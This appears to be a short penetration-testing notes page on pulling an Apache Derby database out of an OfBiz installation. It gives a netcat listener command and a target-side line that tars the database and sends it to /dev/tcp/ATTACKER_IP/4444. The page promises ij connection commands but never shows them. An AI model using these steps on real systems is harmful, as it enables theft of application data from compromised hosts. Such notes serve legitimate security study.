githubEdit

Apache Derby Embedded Java Database

Encountered in applications:

1) OfBiz (Location: /opt/ofbiz)

Database extraction

Steps

Attacker

sudo apt install derby-tools (Install the tool needed to interact with the database)

nc -nlvp 4444 > ofbiz.tar (On attacking machine, run netcat to open a port, then send all data to the .jar file to download the database)

Target Machine

cd /opt/ofbiz/runtime/data/derby

tar cvf ofbiz.tar ofbiz

cat ofbiz.tar > /dev/tcp/ATTACKER_IP/4444 (Compress the entire database with tar, then write all data to our listener)

Once downloaded, we extract the archive and use ij to inspect the database on our attacking machine

Now, on the ij terminal, we try to connect to the database by typing the commands:

Use regular SQL statements to extract data from the database

Last updated